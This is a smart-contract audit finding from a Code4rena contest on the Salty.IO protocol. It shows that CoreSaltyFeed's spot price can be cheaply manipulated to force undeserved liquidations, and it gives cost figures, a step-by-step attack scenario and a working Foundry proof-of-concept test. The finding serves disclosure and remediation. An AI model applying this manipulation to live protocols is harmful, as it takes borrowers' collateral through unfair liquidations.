The use of spot price by CoreSaltyFeed can lead to price manipulation and undesired liquidations

[c4-bot-4]

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/price_feed/CoreSaltyFeed.sol#L32-L53

Vulnerability details

Summary

When the price moves, Chainlink instantly reports the spot price, while the TWAP slowly changes the price. The spot price of CoreSaltyFeed can be manipulated, allowing an attacker to move the price in a desired direction.

Vulnerability Details

1. The spot price of CoreSaltyFeed can be manipulated, even when considering automatic arbitrage. The cost of moving the price depends on the liquidity of the pools. While the protocol is small, it will be cheap to manipulate, but even as it grows, the cost won't become prohibitively expensive. If all the pools have 2*1_000 ETH of value each, the attack will cost only ~0.0036 ETH to move a price by 3%, and ~0.0363 ETH to move it by 10%. Refer to the PoCs for the estimated cost of the attack.

2. Assume the WBTC/USD price moves 3%, from $40,000 to $38,800. Chainlink updates instantly, but the TWAP takes some time. You can see my calculations of the TWAP price change here.

3. CoreSaltyFeed WBTC/USDS price will be adjusted to match Chainlink's price by arbitrageurs.

4. CoreSaltyFeed returns $38,800, Chainlink returns $38,800, TWAP returns $40,000.

5. The attacker moves the CoreSaltyFeed price ~3%, but less than the difference between TWAP and Chainlink, to $38,000.

6. As shown in the PoC, it will cost the attacker only 0.0035 ETH if the pools have 1000 ETH of liquidity, but if they have 100 ETH, it will require only ~0.0004 ETH.

7. The difference between CoreSaltyFeed and Chainlink is $800, and from TWAP and Chainlink it's $1,200.

8. The average price is set to ($38,000 + $38,800) / 2 = $38,400.

9. Now the attacker can liquidate pools that should not be liquidatable because the price from PriceAggregator is lower than the real price. The attacker can do it first and get the rewards (5%, up to $500 by default). See the relevant code here.

   // Reward the caller
   wbtc.safeTransfer( msg.sender, rewardedWBTC );
   weth.safeTransfer( msg.sender, rewardedWETH );

10. maxRewardValueForCallingLiquidation is set to $500. Depending on Salty's pool liquidity, ETH price, and how many positions an attacker can liquidate, profitability will vary. I argue that before the protocol gains traction, liquidity will be low for some time, making the attack profitable.

11. We should also consider that sometimes it will be profitable for the attacker to move the price slightly and be the first to call liquidate in order to receive the rewards.

12. Other liquidators, who don't use this attack, will not be able to liquidate, which is unfair.

Note: WBTC and WETH movements of 3% are common and will happen often. For example, about a month ago, there was a 6.5% drop in 20 minutes as reported by Business Insider.

Variations

1. If the Chainlink oracle fails to update prices on time (due to block stuffing before the heartbeat or Chainlink DAO turning it off, as described here and here), the attack becomes easier as a 3% price change in the market will not be necessary.
2. In the event of a sudden crash in BTC and/or ETH, an attacker could mint undercollateralized USDS. The 200% collateral requirement, set in StableConfig.initialCollateralRatioPercent and calculated using the outdated TWAP price along with the manipulated CoreSaltyFeed, would be ineffective as protection against this attack when the real price has already dropped below 100%.
3. During a sudden crash of BTC and/or ETH, the oracle price feed may continue to report the incorrect minimum price. This can again lead to the minting of undercollateralized USDS.

   Impact

4. Positions that should not be liquidated are liquidated => unexpected liquidation and loss of part of collateral for a borrower (on fees)
5. Honest liquidators who don't move the price won't be able to liquidate because an attacker will move the price and liquidate in the same transaction

Proof of Concept

Put the code in src/pools/tests/H2.t.sol, run COVERAGE="yes" forge test -f wss://ethereum-sepolia.publicnode.com -vvv --mc H2

// SPDX-License-Identifier: BUSL 1.1
pragma solidity =0.8.22;

import "../../dev/Deployment.sol";
import "../PoolUtils.sol";

contract H2 is Deployment
    {
    TestERC20 immutable tokenA;
    TestERC20 immutable tokenB;
    address ALICE = address(0x1111);
    address BOB = address(0x2222);

            constructor()
        {
            initializeContracts();

            grantAccessAlice();
            grantAccessBob();
            grantAccessCharlie();
            grantAccessDeployer();
            grantAccessDefault();

            finalizeBootstrap();

            vm.startPrank(address(daoVestingWallet));
            salt.transfer(DEPLOYER, 1000000 ether);
            salt.transfer(address(collateralAndLiquidity), 1000000 ether);
            vm.stopPrank();

            vm.startPrank( DEPLOYER );
            tokenA = new TestERC20("TOKENA", 18);
            tokenB = new TestERC20("TOKENB", 18);
            vm.stopPrank();
            _prepareToken(tokenA);
            _prepareToken(tokenB);
            _prepareToken(weth);

            vm.stopPrank();
            vm.prank(address(dao));
            poolsConfig.whitelistPool( pools, tokenA, tokenB );
            vm.stopPrank();

        }

        // Make the required approvals and transfer to Bob and Alice.
        function _prepareToken(IERC20 token) internal {
            vm.startPrank( DEPLOYER );
            token.approve( address(pools), type(uint256).max );
            token.approve( address(collateralAndLiquidity), type(uint256).max );
            // For WBTC, we can't use 'ether', so we use 10**8.
            uint decimals = TestERC20(address(token)).decimals();
            token.transfer(ALICE, 1_000_000 * (10**decimals));
            token.transfer(BOB, 1_000_000 * (10**decimals));

            vm.startPrank(ALICE);
            token.approve( address(pools), type(uint256).max );
            token.approve( address(collateralAndLiquidity), type(uint256).max );

            vm.startPrank(BOB);
            token.approve( address(pools), type(uint256).max );
            token.approve( address(collateralAndLiquidity), type(uint256).max );
            vm.stopPrank();
        }

        // Create pools that will participate in arbitrage
        // Note: We have all required pools for successful arbitrage, see ArbitrageSearch::_arbitragePath 
        // swap: swapTokenIn->WETH
        // arb: WETH->swapTokenIn->WBTC->WETH
        // We have: tokenA/WETH, tokenA/WBTC, WBTC/WETH
        function _makeArbitragePossible(uint amountToDeposit) internal {
            // based on Pools.t.sol::testDepositDoubleSwapWithdraw
            vm.startPrank(DEPLOYER);

            wbtc.approve(address(collateralAndLiquidity), type(uint256).max );
            weth.approve(address(collateralAndLiquidity), type(uint256).max );
            tokenA.approve(address(collateralAndLiquidity), type(uint256).max );
            tokenB.approve(address(collateralAndLiquidity), type(uint256).max );
            tokenA.approve(address(pools), type(uint256).max );

            vm.warp(block.timestamp + stakingConfig.modificationCooldown());
            collateralAndLiquidity.depositCollateralAndIncreaseShare(
                amountToDeposit * 10**8, amountToDeposit * 1 ether, 0, block.timestamp, false
            );
            vm.stopPrank();

            vm.startPrank(address(dao));
            poolsConfig.whitelistPool( pools, tokenA, wbtc);
            poolsConfig.whitelistPool( pools, tokenA, weth);
            poolsConfig.whitelistPool( pools, tokenB, wbtc);
            poolsConfig.whitelistPool( pools, tokenB, weth);
            vm.stopPrank();

            vm.startPrank(DEPLOYER);
            collateralAndLiquidity.depositLiquidityAndIncreaseShare(
                tokenA, wbtc, amountToDeposit * 1 ether, amountToDeposit * 10**8, 0, 
                block.timestamp, false
            );
            collateralAndLiquidity.depositLiquidityAndIncreaseShare(
                tokenB, wbtc, amountToDeposit * 1 ether, amountToDeposit * 10**8, 0, 
                block.timestamp, false
            );
            collateralAndLiquidity.depositLiquidityAndIncreaseShare(
                tokenA, weth, amountToDeposit * 1 ether, amountToDeposit * 1 ether, 0, 
                block.timestamp, false
            );
            collateralAndLiquidity.depositLiquidityAndIncreaseShare(
                tokenB, weth, amountToDeposit * 1 ether, amountToDeposit * 1 ether, 0, 
                block.timestamp, false
            );

            vm.stopPrank();
        }

        function _getReservesAndPrice(IERC20 _tokenA, IERC20 _tokenB) internal view returns (
            string memory _tokenASymbol, string memory _tokenBSymbol, 
            uint reserveA, uint reserveB, uint priceBinA
        ) {
            (reserveA, reserveB) = pools.getPoolReserves(_tokenA, _tokenB);
            _tokenASymbol = TestERC20(address(_tokenA)).symbol();
            _tokenBSymbol = TestERC20(address(_tokenB)).symbol();
            uint8  _tokenADecimals = TestERC20(address(_tokenA)).decimals();
            uint8  _tokenBDecimals = TestERC20(address(_tokenB)).decimals();

            // reserveA / reserveB  || b.decimals - a.decimals  || normalizer
            // 1e8/1e18             || diff 10                  || 1e28
            // 1e18/1e18            || diff 0                   || 1e18
            // 1e18/1e8             || diff -10                 || 1e8
            int8 decimalsDiff = int8(_tokenBDecimals) - int8(_tokenADecimals);
            uint normalizerPower = uint8(int8(18) + decimalsDiff);
            uint normalizer = 10**normalizerPower;

            // price with precision 1e18
            priceBinA = reserveB == 0 
                    ? 0 
                    : ( reserveA * normalizer ) / reserveB;
        }

        function _printReservesAndPriceFor(IERC20 _tokenA, IERC20 _tokenB) internal view 
        {
            (
                string memory _tokenASymbol, 
                string memory _tokenBSymbol, 
                uint reserveA, 
                uint reserveB, 
                uint priceBinA
            ) = _getReservesAndPrice(_tokenA, _tokenB);

            console2.log("%s reserves: %e", _tokenASymbol , reserveA);
            console2.log("%s reserves: %e", _tokenBSymbol, reserveB);
            console2.log("%s price in %s: %e", _tokenBSymbol, _tokenASymbol, priceBinA);
            console.log("");
        }

        // Extracted some local variables to storage due to too many local variables.
        struct MovePriceParams {
            uint amountToExchange;
            uint expectedMovementPercents; 
            uint expectedLoss;
        }
        uint gasBefore = 1; // Set to 1 to save gas on updates and obtain more accurate gas estimations.
        uint stepsCount;

        // Splitting a swap into several steps will significantly reduce slippage.
        // More steps will further reduce slippage, thereby decreasing the cost of the attack.
        // However, too many steps can incur high gas costs; for instance, 100 steps will cost approximately 3+4=7 million gas (as indicated in the console.log output).
        uint constant steps = 100;
        function _movePrice(MovePriceParams memory p) internal {
            /* Before the attack */
            console.log("\n%s", "__BEFORE");

            // Check price before
            (,,,,uint priceBefore) = _getReservesAndPrice(tokenA, weth);
            assertEq(1 ether, priceBefore); // price is 1:1

            _printReservesAndPriceFor(tokenA, weth);
            uint wethBefore = weth.balanceOf(ALICE);
            uint tokenABefore = tokenA.balanceOf(ALICE);
            console2.log("weth.balanceOf(ALICE): %e", wethBefore);
            console2.log("tokenA.balanceOf(ALICE): %e", tokenABefore);

            /* Move the price */
            vm.startPrank(ALICE);

            gasBefore = gasleft();
            for (uint i; i < steps; i++){
                pools.depositSwapWithdraw(tokenA, weth, p.amountToExchange/steps, 0, block.timestamp + 300);
            }
            console.log("Gas first(for) loop: ", gasBefore - gasleft());

            /* After the attack */
            console.log("\n%s", "__AFTER");

            // Console.log the output
            _printReservesAndPriceFor(tokenA, weth);
            uint wethAfter = weth.balanceOf(ALICE);
            uint tokenAAfter = tokenA.balanceOf(ALICE);
            console2.log("weth.balanceOf(ALICE): %e", weth.balanceOf(ALICE));
            console2.log("tokenA.balanceOf(ALICE): %e", tokenA.balanceOf(ALICE));
            uint wethGained = wethAfter - wethBefore;
            uint tokenALost = tokenABefore - tokenAAfter;
            console2.log("weth.balanceOf(ALICE) diff: %e", wethGained);
            console2.log("tokenA.balanceOf(ALICE) diff: %e", tokenALost);
            // Note: Since the price of tokenA and WETH are the same at the start, with a 1:1 ratio, 
            // we can subtract and add them as equivalent values.
            uint attackPrice = tokenALost - wethGained;
            console2.log("Losses for the attacker (before swapping back): %e", attackPrice);

            // Assert that the attack was successful and inexpensive.
            (,,,,uint priceAfter) = _getReservesAndPrice(tokenA, weth);
            uint priceDiff = priceAfter - priceBefore;
            assertTrue(priceDiff >= p.expectedMovementPercents * 1 ether / 100);

            /* The attacker can further reduce the cost by exchanging back. */
            /* After the exchange, the price is moved back. */
            console.log("\n%s", "__AFTER_EXCHANGING_BACK");
            (,,,,uint currentPrice) = _getReservesAndPrice(tokenA, weth);
            uint step = p.amountToExchange/steps;
            gasBefore = gasleft();
            while (currentPrice > 1 ether){
                pools.depositSwapWithdraw(weth, tokenA, step, 0, block.timestamp);
                (,,,,currentPrice) = _getReservesAndPrice(tokenA, weth);
                stepsCount++;
            }

            // Console.log the output
            console2.log("Gas second(while) loop: ", gasBefore - gasleft());
            console2.log("stepsCount", stepsCount);
            _printReservesAndPriceFor(tokenA, weth);
            uint wethAfterBalancing = weth.balanceOf(ALICE);
            uint tokenAAfterBalancing = tokenA.balanceOf(ALICE);
            console2.log("weth.balanceOf(ALICE): %e", weth.balanceOf(ALICE));
            console2.log("tokenA.balanceOf(ALICE): %e", tokenA.balanceOf(ALICE));
            int wethDiff = int(wethAfterBalancing) - int(wethBefore);
            int tokenADiff = int(tokenAAfterBalancing) - int(tokenABefore);
            console2.log("weth.balanceOf(ALICE) diff: %e", wethDiff);
            console2.log("tokenA.balanceOf(ALICE) diff: %e", tokenADiff);
            // Note: Since the price of tokenA and WETH are the same at the start, with a 1:1 ratio, 
            // we can subtract and add them as equivalent values.

            int sumDiff = wethDiff + tokenADiff;
            console2.log("Diff (positive=profit) for the attacker: %e", sumDiff);
            console2.log("Arbitrage profits for DAO: %e", pools.depositedUserBalance(address(dao), weth ));
        }

    function testMovePrice10PercentsFor1000EtherPools() public
        {
            _makeArbitragePossible(1_000);
            _movePrice(MovePriceParams(75 ether, 10, 0.0363 ether));
        }

    function testMovePrice3PercentsFor1000EtherPools() public
        {
            _makeArbitragePossible(1_000);
            _movePrice(MovePriceParams(23 ether, 3, 0.0036 ether));
        }

    function testMovePrice3PercentsFor100EtherPools() public
        {
            _makeArbitragePossible(100);
            _movePrice(MovePriceParams(2.3 ether, 3, 0.0004 ether));
        }

    function testMovePrice3PercentsFor10EtherPools() public
        {
            _makeArbitragePossible(10);
            _movePrice(MovePriceParams(0.23 ether, 3, 0.00008 ether));
        }
}

(Optional) You can place this AWK script in 1e18.sh, make it executable with chmod +x 1e18.sh, and run COVERAGE="yes" forge test -f wss://ethereum-sepolia.publicnode.com -vvv --mc M2 | ./1e18.sh for a more readable output. This script will convert numbers in exponential notation to a floating point format with three decimal places. For example, 1e17 will be printed as 0.100.

#!/bin/bash

awk '{
    for(i=1; i<=NF; i++) {
        if ($i ~ /[0-9]+e[+-]?[0-9]+/) {
            $i = sprintf("%.3f", $i / 1e18)
        }
    }
    print $0
}'

Tools Used

Manual review

Recommended Mitigation Steps

Consider replacing CoreSaltyFeed with a different oracle that provides better protection against manipulation, like Band Protocol.

Assessed type

Oracle

[c4-judge]

Picodes marked the issue as primary issue

[c4-sponsor]

othernet-global (sponsor) acknowledged

[othernet-global]

Note: the overcollateralized stablecoin mechanism has been removed from the DEX.

https://github.com/othernet-global/salty-io/commit/f3ff64a21449feb60a60c0d60721cfe2c24151c1

[c4-judge]

Picodes marked the issue as satisfactory

[c4-judge]

Picodes marked the issue as selected for report

[othernet-global]

The stablecoin framework: /stablecoin, /price_feed, WBTC/WETH collateral, PriceAggregator, price feeds and USDS have been removed:

https://github.com/othernet-global/salty-io/commit/88b7fd1f3f5e037a155424a85275efd79f3e9bf9